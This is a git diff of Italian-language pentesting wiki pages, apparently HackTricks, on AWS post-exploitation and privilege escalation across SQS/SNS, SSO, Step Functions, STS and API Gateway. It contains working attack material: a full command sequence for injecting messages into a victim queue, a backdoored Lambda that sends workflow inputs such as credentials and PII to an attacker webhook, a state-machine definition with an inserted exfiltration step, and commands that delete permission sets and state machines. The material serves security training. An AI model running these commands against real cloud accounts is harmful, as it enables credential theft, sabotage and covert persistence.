+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md
@@ -0,0 +1,54 @@
+# AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Descrizione
+
+Abusa della resource policy di una SQS queue per permettere a un SNS topic controllato dall'attaccante di pubblicare messaggi in una SQS queue della vittima. Nello stesso account, una SNS subscription a un SNS topic si auto-conferma; in cross-account devi leggere il token SubscriptionConfirmation dalla queue e chiamare ConfirmSubscription. Questo consente l'iniezione di messaggi non richiesti che i consumer downstream potrebbero implicitamente considerare affidabili.
+
+### Requisiti
+- Capacità di modificare la resource policy della SQS queue di destinazione: `sqs:SetQueueAttributes` sulla queue della vittima.
+- Capacità di creare/pubblicare su un SNS topic sotto il controllo dell'attaccante: `sns:CreateTopic`, `sns:Publish`, e `sns:Subscribe` sull'account/topic controllato dall'attaccante.
+- Solo cross-account: temporaneo `sqs:ReceiveMessage` sulla queue della vittima per leggere il token di conferma e chiamare `sns:ConfirmSubscription`.
+
+### Sfruttamento nello stesso account
+```bash
+REGION=us-east-1
+# 1) Create victim queue and capture URL/ARN
+Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# 2) Create attacker SNS topic
+TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)
+
+# 3) Allow that SNS topic to publish to the queue (queue resource policy)
+cat > /tmp/ht-sqs-sns-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
+JSON
+sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
+# Provide the attribute as a JSON map so quoting works reliably
+cat > /tmp/ht-attrs.json <<JSON
+{
+"Policy": "REPLACE_POLICY_JSON"
+}
+JSON
+# Embed the policy file contents as a JSON string
+POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
+sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
+aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json
+
+# 4) Subscribe the queue to the topic (auto-confirms same-account)
+aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION
+
+# 5) Publish and verify injection
+aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
+```
+### Note tra account
+- La queue policy sopra deve consentire il `TOPIC_ARN` esterno (attacker account).
+- Le subscription non si auto-confermeranno. Concediti temporaneamente `sqs:ReceiveMessage` sulla victim queue per leggere il messaggio `SubscriptionConfirmation` e poi esegui `sns confirm-subscription` con il suo `Token`.
+
+### Impatto
+**Impatto potenziale**: Iniezione continua di messaggi non richiesti in una coda SQS di fiducia tramite SNS, potenzialmente attivando elaborazioni non intenzionate, inquinamento dei dati o abuso dei flussi di lavoro.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md
similarity index 66%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md
index e43e56c46..42f5231f3 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md
@@ -1,18 +1,18 @@
-# AWS - SSO e identitystore Post Exploitation
+# AWS - SSO & identitystore Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
-## SSO e identitystore
+## SSO & identitystore
 
-Per ulteriori informazioni controlla:
+Per maggiori informazioni, consulta:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
 ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
 
-Queste autorizzazioni possono essere utilizzate per interrompere le autorizzazioni:
+Queste autorizzazioni possono essere usate per interrompere le autorizzazioni:
 ```bash
 aws sso-admin delete-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
 
@@ -20,4 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn <SSOInst
 
 aws sso-admin delete-account-assignment --instance-arn <SSOInstanceARN> --target-id <TargetID> --target-type <TargetType> --permission-set-arn <PermissionSetARN> --principal-type <PrincipalType> --principal-id <PrincipalID>
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
deleted file mode 100644
index 673d7e9c9..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
+++ /dev/null
@@ -1,184 +0,0 @@
-# AWS - Step Functions Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Step Functions
-
-Per ulteriori informazioni su questo servizio AWS, controlla:
-
-{{#ref}}
-../aws-services/aws-stepfunctions-enum.md
-{{#endref}}
-
-### `states:RevealSecrets`
-
-Questo permesso consente di **rivelare dati segreti all'interno di un'esecuzione**. Per farlo, è necessario impostare il livello di ispezione su TRACE e il parametro revealSecrets su true.
-
-<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
-
-### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
-
-Un attaccante con questi permessi sarebbe in grado di eliminare permanentemente le macchine a stati, le loro versioni e alias. Questo può interrompere flussi di lavoro critici, causare perdita di dati e richiedere tempo significativo per recuperare e ripristinare le macchine a stati interessate. Inoltre, consentirebbe a un attaccante di coprire le tracce utilizzate, interrompere le indagini forensi e potenzialmente compromettere le operazioni rimuovendo processi di automazione essenziali e configurazioni di stato.
-
-> [!NOTE]
->
-> - Eliminando una macchina a stati si eliminano anche tutte le sue versioni e alias associati.
-> - Eliminando un alias di macchina a stati non si eliminano le versioni della macchina a stati che fanno riferimento a questo alias.
-> - Non è possibile eliminare una versione di macchina a stati attualmente referenziata da uno o più alias.
-```bash
-# Delete state machine
-aws stepfunctions delete-state-machine --state-machine-arn <value>
-# Delete state machine version
-aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
-# Delete state machine alias
-aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
-```
-- **Impatto Potenziale**: Interruzione dei flussi di lavoro critici, perdita di dati e inattività operativa.
-
-### `states:UpdateMapRun`
-
-Un attaccante con questo permesso sarebbe in grado di manipolare la configurazione di fallimento del Map Run e l'impostazione parallela, potendo aumentare o diminuire il numero massimo di esecuzioni di flussi di lavoro secondari consentiti, influenzando direttamente le prestazioni del servizio. Inoltre, un attaccante potrebbe manomettere la percentuale e il conteggio di fallimento tollerati, potendo ridurre questo valore a 0 in modo che ogni volta che un elemento fallisce, l'intero map run fallirebbe, influenzando direttamente l'esecuzione della macchina a stati e potenzialmente interrompendo flussi di lavoro critici.
-```bash
-aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
-```
-- **Impatto Potenziale**: Degradazione delle prestazioni e interruzione dei flussi di lavoro critici.
-
-### `states:StopExecution`
-
-Un attaccante con questo permesso potrebbe essere in grado di fermare l'esecuzione di qualsiasi macchina a stati, interrompendo flussi di lavoro e processi in corso. Questo potrebbe portare a transazioni incomplete, operazioni aziendali bloccate e potenziale corruzione dei dati.
-
-> [!WARNING]
-> Questa azione non è supportata da **express state machines**.
-```bash
-aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
-```
-- **Impatto Potenziale**: Interruzione dei flussi di lavoro in corso, inattività operativa e potenziale corruzione dei dati.
-
-### `states:TagResource`, `states:UntagResource`
-
-Un attaccante potrebbe aggiungere, modificare o rimuovere tag dalle risorse di Step Functions, interrompendo l'allocazione dei costi della tua organizzazione, il tracciamento delle risorse e le politiche di controllo degli accessi basate sui tag.
-```bash
-aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
-aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
-```
-**Impatto Potenziale**: Interruzione dell'allocazione dei costi, tracciamento delle risorse e politiche di controllo accessi basate su tag.
-
----
-
-### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
-
-Un attaccante che compromette un utente o un ruolo con i seguenti permessi:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "AllowUpdateStateMachine",
-"Effect": "Allow",
-"Action": "states:UpdateStateMachine",
-"Resource": "*"
-},
-{
-"Sid": "AllowUpdateFunctionCode",
-"Effect": "Allow",
-"Action": "lambda:UpdateFunctionCode",
-"Resource": "*"
-}
-]
-}
-```
-...può condurre un **attacco post-exploitation ad alto impatto e furtivo** combinando il backdooring di Lambda con la manipolazione della logica di Step Function.
-
-Questo scenario presuppone che la vittima utilizzi **AWS Step Functions per orchestrare flussi di lavoro che elaborano input sensibili**, come credenziali, token o PII.
-
-Esempio di invocazione della vittima:
-```bash
-aws stepfunctions start-execution \
---state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
---input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
-```
-Se la Step Function è configurata per invocare un Lambda come `LegitBusinessLogic`, l'attaccante può procedere con **due varianti di attacco furtive**:
-
----
-
-####  Aggiornato la funzione lambda
-
-L'attaccante modifica il codice della funzione Lambda già utilizzata dalla Step Function (`LegitBusinessLogic`) per esfiltrare silenziosamente i dati di input.
-```python
-# send_to_attacker.py
-import requests
-
-def lambda_handler(event, context):
-requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
-return {"status": "exfiltrated"}
-```
-
-```bash
-zip function.zip send_to_attacker.py
-
-aws lambda update-function-code \
---function-name LegitBusinessLogic \
---zip-file fileb://function.zip -profile attacker
-```
----
-
-#### Aggiungi uno Stato Maligno alla Funzione di Passaggio
-
-In alternativa, l'attaccante può iniettare uno **stato di esfiltrazione** all'inizio del flusso di lavoro aggiornando la definizione della Funzione di Passaggio.
-```malicious_state_definition.json
-{
-"Comment": "Backdoored for Exfiltration",
-"StartAt": "OriginalState",
-"States": {
-"OriginalState": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
-"End": true
-}
-}
-}
-
-```
-
-```bash
-aws stepfunctions update-state-machine \
---state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
---definition file://malicious_state_definition.json --profile attacker
-```
-L'attaccante può anche essere più furtivo aggiornando la definizione dello stato a qualcosa del genere
-{
-"Comment": "Backdoored for Exfiltration",
-"StartAt": "ExfiltrateSecrets",
-"States": {
-"ExfiltrateSecrets": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
-"InputPath": "$",
-"ResultPath": "$.exfil",
-"Next": "OriginalState"
-},
-"OriginalState": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
-"End": true
-}
-}
-}
-dove la vittima non si accorgerà della differenza
-
----
-
-### Configurazione della Vittima (Contesto per l'Exploit)
-
-- Una Step Function (`LegitStateMachine`) viene utilizzata per elaborare input sensibili degli utenti.
-- Chiama una o più funzioni Lambda come `LegitBusinessLogic`.
-
----
-
-**Impatto Potenziale**:
-- Esfiltrazione silenziosa di dati sensibili, inclusi segreti, credenziali, chiavi API e PII.
-- Nessun errore o fallimento visibile nell'esecuzione del workflow.
-- Difficile da rilevare senza auditare il codice Lambda o le tracce di esecuzione.
-- Abilita una persistenza a lungo termine se il backdoor rimane nel codice o nella logica ASL.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md
new file mode 100644
index 000000000..91b6d82f1
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md
@@ -0,0 +1,183 @@
+# AWS - Step Functions Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Step Functions
+
+Per maggiori informazioni su questo servizio AWS, consulta:
+
+{{#ref}}
+../../aws-services/aws-stepfunctions-enum.md
+{{#endref}}
+
+### `states:RevealSecrets`
+
+Questo permesso consente di **rivelare dati segreti all'interno di un'esecuzione**. Per farlo, è necessario impostare Inspection level su TRACE e il parametro revealSecrets su true.
+
+<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
+
+### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
+
+Un attaccante con questi permessi sarebbe in grado di eliminare permanentemente state machines, le loro versioni e alias. Questo può interrompere workflow critici, causare perdita di dati e richiedere tempo significativo per recuperare e ripristinare le state machines interessate. Inoltre, permetterebbe all'attaccante di cancellare le tracce utilizzate, ostacolare le indagini forensi e potenzialmente paralizzare le operazioni rimuovendo processi di automazione essenziali e configurazioni di stato.
+
+> [!NOTE]
+>
+> - Eliminando una state machine elimini anche tutte le sue versioni e alias associati.
+> - Eliminando un alias di state machine non elimini le versioni della state machine che fanno riferimento a questo alias.
+> - Non è possibile eliminare una versione di state machine attualmente referenziata da uno o più alias.
+```bash
+# Delete state machine
+aws stepfunctions delete-state-machine --state-machine-arn <value>
+# Delete state machine version
+aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
+# Delete state machine alias
+aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
+```
+- **Impatto potenziale**: Interruzione di flussi di lavoro critici, perdita di dati e tempi di inattività operativi.
+
+### `states:UpdateMapRun`
+
+Un attacker con questa autorizzazione potrebbe manipolare la configurazione di failure del Map Run e l'impostazione di parallelismo, potendo aumentare o diminuire il numero massimo di esecuzioni figlie del workflow consentite, incidendo direttamente sulle prestazioni del servizio. Inoltre, un attacker potrebbe manomettere la percentuale e il conteggio di failure tollerati, potendo ridurre questo valore a 0 in modo che ogni volta che un elemento fallisce, l'intero Map Run fallisca, influenzando direttamente l'esecuzione della state machine e potenzialmente interrompendo flussi di lavoro critici.
+```bash
+aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
+```
+- **Impatto potenziale**: Degrado delle prestazioni e interruzione di flussi di lavoro critici.
+
+### `states:StopExecution`
+
+Un attacker con questa permission potrebbe essere in grado di interrompere l'esecuzione di qualsiasi state machine, interrompendo i flussi di lavoro e i processi in corso. Ciò potrebbe portare a transazioni incomplete, operazioni aziendali sospese e potenziale corruzione dei dati.
+
+> [!WARNING]
+> Questa azione non è supportata dalle **express state machines**.
+```bash
+aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
+```
+- **Impatto potenziale**: Interruzione dei flussi di lavoro in corso, downtime operativo e possibile corruzione dei dati.
+
+### `states:TagResource`, `states:UntagResource`
+
+Un attaccante potrebbe aggiungere, modificare o rimuovere tags dalle risorse di Step Functions, compromettendo l'allocazione dei costi dell'organizzazione, il monitoraggio delle risorse e le politiche di controllo degli accessi basate sui tags.
+```bash
+aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
+aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
+```
+**Impatto potenziale**: Interruzione dell'allocazione dei costi, del tracciamento delle risorse e delle politiche di controllo degli accessi basate sui tag.
+
+---
+
+### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
+
+Un attacker che compromette un user o role con le seguenti autorizzazioni:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowUpdateStateMachine",
+"Effect": "Allow",
+"Action": "states:UpdateStateMachine",
+"Resource": "*"
+},
+{
+"Sid": "AllowUpdateFunctionCode",
+"Effect": "Allow",
+"Action": "lambda:UpdateFunctionCode",
+"Resource": "*"
+}
+]
+}
+```
+...possono condurre una **high-impact and stealthy post-exploitation attack** combinando Lambda backdooring con Step Function logic manipulation.
+
+Questo scenario presuppone che la vittima utilizzi **AWS Step Functions to orchestrate workflows that process sensitive input**, come credentials, tokens, o PII.
+
+Esempio di invocazione della vittima:
+```bash
+aws stepfunctions start-execution \
+--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
+--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
+```
+Se la Step Function è configurata per invocare una Lambda come `LegitBusinessLogic`, l'attaccante può procedere con **due varianti di attacco furtive**:
+
+---
+
+####  Aggiornata la funzione Lambda
+
+L'attaccante modifica il codice della funzione Lambda già utilizzata dalla Step Function (`LegitBusinessLogic`) per esfiltrare silenziosamente i dati di input.
+```python
+# send_to_attacker.py
+import requests
+
+def lambda_handler(event, context):
+requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
+return {"status": "exfiltrated"}
+```
+
+```bash
+zip function.zip send_to_attacker.py
+
+aws lambda update-function-code \
+--function-name LegitBusinessLogic \
+--zip-file fileb://function.zip -profile attacker
+```
+#### Aggiungi uno stato malevolo alla Step Function
+
+In alternativa, l'attaccante può iniettare uno **exfiltration state** all'inizio del flusso di lavoro aggiornando la definizione della Step Function.
+```malicious_state_definition.json
+{
+"Comment": "Backdoored for Exfiltration",
+"StartAt": "OriginalState",
+"States": {
+"OriginalState": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
+"End": true
+}
+}
+}
+
+```
+
+```bash
+aws stepfunctions update-state-machine \
+--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
+--definition file://malicious_state_definition.json --profile attacker
+```
+L'attaccante può essere ancora più furtivo aggiornando la definizione dello stato in qualcosa del genere
+{
+"Comment": "Backdoored for Exfiltration",
+"StartAt": "ExfiltrateSecrets",
+"States": {
+"ExfiltrateSecrets": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
+"InputPath": "$",
+"ResultPath": "$.exfil",
+"Next": "OriginalState"
+},
+"OriginalState": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
+"End": true
+}
+}
+}
+dove la vittima non si accorgerà della differenza
+
+---
+
+### Configurazione della vittima (Contesto per l'exploit)
+
+- Una Step Function (`LegitStateMachine`) viene usata per elaborare input utente sensibili.
+- Chiama una o più funzioni Lambda come `LegitBusinessLogic`.
+
+---
+
+**Impatto potenziale**:
+- Esfiltrazione silenziosa di dati sensibili inclusi secrets, credenziali, API keys e PII.
+- Nessun errore visibile o fallimento nell'esecuzione del flusso di lavoro.
+- Difficile da rilevare senza audit del codice Lambda o le tracce di esecuzione.
+- Permette persistenza a lungo termine se il backdoor rimane nel codice o nella logica ASL.
+
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md
similarity index 65%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md
index a5b26f347..d0da5c1b8 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md
@@ -1,23 +1,23 @@
 # AWS - STS Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## STS
 
 Per maggiori informazioni:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
-### From IAM Creds to Console
+### Da IAM Creds alla Console
 
-Se sei riuscito a ottenere alcune IAM credentials potresti essere interessato a **accedere alla web console** usando i seguenti strumenti.\
-Nota che l'user/role deve avere il permesso **`sts:GetFederationToken`**.
+Se sei riuscito a ottenere alcune credenziali IAM potresti essere interessato ad **accedere alla web console** usando i seguenti strumenti.\
+Nota che l'utente/ruolo deve avere il permesso **`sts:GetFederationToken`**.
 
 #### Script personalizzato
 
-Lo script seguente userà il profilo di default e una location AWS di default (non gov e non cn) per fornirti un signed URL che puoi usare per effettuare il login nella web console:
+Lo script seguente userà il profilo di default e una location AWS di default (non gov e non cn) per darti un URL firmato che puoi usare per accedere alla web console:
 ```bash
 # Get federated creds (you must indicate a policy or they won't have any perms)
 ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
@@ -64,11 +64,11 @@ pip install aws-consoler
 aws_consoler [params...] #This will generate a link to login into the console
 ```
 > [!WARNING]
-> Assicurati che l'utente IAM abbia il permesso `sts:GetFederationToken`, oppure fornisci un ruolo da assumere.
+> Assicurarsi che l'utente IAM abbia il permesso `sts:GetFederationToken`, oppure fornire un ruolo da assumere.
 
 #### aws-vault
 
-[**aws-vault**](https://github.com/99designs/aws-vault) è uno strumento per memorizzare e accedere in modo sicuro alle credenziali AWS in un ambiente di sviluppo.
+[**aws-vault**](https://github.com/99designs/aws-vault) è uno strumento per memorizzare e accedere in modo sicuro alle credentials AWS in un ambiente di sviluppo.
 ```bash
 aws-vault list
 aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
@@ -77,9 +77,9 @@ aws-vault login jonsmith # Open a browser logged as jonsmith
 > [!NOTE]
 > Puoi anche usare **aws-vault** per ottenere una **sessione della console del browser**
 
-### **Bypassare le restrizioni User-Agent in Python**
+### **Bypass delle restrizioni User-Agent da Python**
 
-Se esiste una **restrizione nell'eseguire certe azioni in base al user agent** usato (come limitare l'uso della libreria python boto3 in base al user agent) è possibile usare la tecnica precedente per **collegarsi alla console web tramite un browser**, oppure si può direttamente **modificare il boto3 user-agent** facendo:
+Se esiste una **restrizione che limita l'esecuzione di certe azioni in base al User-Agent** utilizzato (come limitare l'uso della libreria python boto3 in base al User-Agent) è possibile usare la tecnica precedente per **connettersi alla web console tramite un browser**, oppure si può direttamente **modificare il boto3 User-Agent** facendo:
 ```bash
 # Shared by ex16x41
 # Create a client
@@ -94,12 +94,12 @@ response = client.get_secret_value(SecretId="flag_secret") print(response['Secre
 ```
 ### **`sts:GetFederationToken`**
 
-Con questa autorizzazione è possibile creare un'identità federata per l'utente che la esegue, limitata ai permessi che questo utente possiede.
+Con questo permesso è possibile creare un'identità federata per l'utente che lo richiede, limitata ai permessi che tale utente possiede.
 ```bash
 aws sts get-federation-token --name <username>
 ```
-Il token restituito da sts:GetFederationToken appartiene all'identità federata dell'utente chiamante, ma ha permessi limitati. Anche se l'utente dispone di diritti di amministratore, alcune azioni, come l'elenco degli utenti IAM o l'associazione di policy, non possono essere eseguite tramite il token federato.
+Il token restituito da sts:GetFederationToken appartiene all'identità federata dell'utente chiamante, ma con permessi limitati. Anche se l'utente dispone di diritti di amministratore, alcune azioni, come elencare gli utenti IAM o associare policy, non possono essere eseguite tramite il token federato.
 
-Inoltre, questo metodo è più furtivo, poiché l'utente federato non compare nell'AWS Portal; può essere osservato solo attraverso i log di CloudTrail o strumenti di monitoraggio.
+Inoltre, questo metodo è più furtivo, poiché l'utente federato non appare nell'AWS Portal: può essere osservato solo tramite i log di CloudTrail o strumenti di monitoraggio.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
deleted file mode 100644
index 3687b4873..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
+++ /dev/null
@@ -1,13 +0,0 @@
-# AWS - VPN Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## VPN
-
-Per ulteriori informazioni:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md
new file mode 100644
index 000000000..fa72bc786
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md
@@ -0,0 +1,13 @@
+# AWS - VPN Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## VPN
+
+Per ulteriori informazioni:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md
similarity index 53%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md
index b6debe4d3..423465e36 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md
@@ -1,48 +1,48 @@
 # AWS - Apigateway Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Apigateway
 
-Per ulteriori informazioni controlla:
+Per maggiori informazioni vedi:
 
 {{#ref}}
-../aws-services/aws-api-gateway-enum.md
+../../aws-services/aws-api-gateway-enum.md
 {{#endref}}
 
 ### `apigateway:POST`
 
-Con questo permesso puoi generare chiavi API delle API configurate (per regione).
+Con questo permesso puoi generare API keys delle API configurate (per regione).
 ```bash
 aws --region <region> apigateway create-api-key
 ```
-**Impatto Potenziale:** Non puoi eseguire il privesc con questa tecnica, ma potresti ottenere accesso a informazioni sensibili.
+**Impatto potenziale:** Non puoi privesc con questa tecnica ma potresti ottenere accesso a informazioni sensibili.
 
 ### `apigateway:GET`
 
-Con questo permesso puoi ottenere le chiavi API generate delle API configurate (per regione).
+Con questo permesso puoi ottenere le API keys generate delle API configurate (per regione).
 ```bash
 aws --region <region> apigateway get-api-keys
 aws --region <region> apigateway get-api-key --api-key <key> --include-value
 ```
-**Impatto Potenziale:** Non puoi eseguire il privesc con questa tecnica, ma potresti ottenere accesso a informazioni sensibili.
+**Impatto potenziale:** Non puoi privesc con questa tecnica ma potresti ottenere accesso a informazioni sensibili.
 
 ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
 
-Con questi permessi è possibile modificare la policy delle risorse di un'API per darti accesso a chiamarla e abusare del potenziale accesso che l'API gateway potrebbe avere (come invocare una lambda vulnerabile).
+Con questi permessi è possibile modificare la resource policy di un'API per concederti l'accesso a chiamarla e sfruttare eventuale accesso che l'API gateway potrebbe avere (per esempio invocando una lambda vulnerabile).
 ```bash
 aws apigateway update-rest-api \
 --rest-api-id api-id \
 --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
 ```
-**Impatto Potenziale:** Di solito, non sarai in grado di privesc direttamente con questa tecnica, ma potresti ottenere accesso a informazioni sensibili.
+**Impatto potenziale:** Di solito non potrai effettuare privesc direttamente con questa tecnica, ma potresti ottenere accesso a informazioni sensibili.
 
 ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
 
 > [!NOTE]
-> Necessita di test
+> Da testare
 
-Un attaccante con i permessi `apigateway:PutIntegration`, `apigateway:CreateDeployment` e `iam:PassRole` può **aggiungere una nuova integrazione a un'API REST di API Gateway esistente con una funzione Lambda a cui è associato un ruolo IAM**. L'attaccante può quindi **attivare la funzione Lambda per eseguire codice arbitrario e potenzialmente ottenere accesso alle risorse associate al ruolo IAM**.
+An attacker with the permissions `apigateway:PutIntegration`, `apigateway:CreateDeployment`, and `iam:PassRole` can **aggiungere una nuova integrazione a un'API Gateway REST API esistente con una Lambda function che ha un IAM role associato**. The attacker can then **attivare la Lambda function per eseguire codice arbitrario e potenzialmente ottenere accesso alle risorse associate all'IAM role**.
 ```bash
 API_ID="your-api-id"
 RESOURCE_ID="your-resource-id"
@@ -56,14 +56,14 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID
